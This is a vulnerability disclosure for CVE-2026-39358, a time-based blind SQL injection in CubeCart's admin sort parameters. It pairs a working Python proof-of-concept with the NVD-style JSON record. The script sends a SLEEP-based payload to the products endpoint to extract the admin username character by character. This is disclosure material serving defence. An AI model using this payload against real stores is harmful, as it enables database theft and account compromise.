CVE-2026-39358

import requests import time # Target configuration target_url = "http://target-site.com/admin.php" endpoint = "?_g=products" # Attacker's authenticated session cookie cookies = { "CCAdminID": "valid_admin_session_id_here" } # Malicious payload for Time-Based Blind SQL Injection # This payload attempts to extract the first character of the admin username # It checks if the first character is 'a'. If true, it delays the response by 5 seconds. payload = { "sort[price]": "CASE WHEN (SELECT SUBSTRING(username,1,1) FROM CubeCart_admin_users LIMIT 1)='a' THEN (SELECT SLEEP(5)) ELSE 1 END" } print(f"Sending payload to {target_url}{endpoint}...") start_time = time.time() response = requests.get(target_url + endpoint, params=payload, cookies=cookies) end_time = time.time() response_time = end_time - start_time if response_time > 5: print(f"[+] Vulnerability Confirmed! Response time: {response_time:.2f}s (Condition was true)") else: print(f"[-] Condition false or not vulnerable. Response time: {response_time:.2f}s")

{"cve": {"id": "CVE-2026-39358", "sourceIdentifier": "[email protected]", "published": "2026-05-13T21:16:46.657", "lastModified": "2026-05-14T16:49:18.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "CubeCart is an ecommerce software solution. Prior to 6.6.0, Authenticated Time-Based Blind SQL Injection vulnerabilities were identified in the sorting parameters (sort[price], sort_activity, sort_admin, and sort_customer) of the Products and Logs endpoints in CubeCart v6.x. This allows an attacker to execute arbitrary SQL commands, compromising the confidentiality and integrity of the database. This vulnerability is fixed in 6.6.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/cubecart/v6/security/advisories/GHSA-8gj6-9fwc-h4gh", "source": "[email protected]"}, {"url": "https://github.com/cubecart/v6/security/advisories/GHSA-8gj6-9fwc-h4gh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}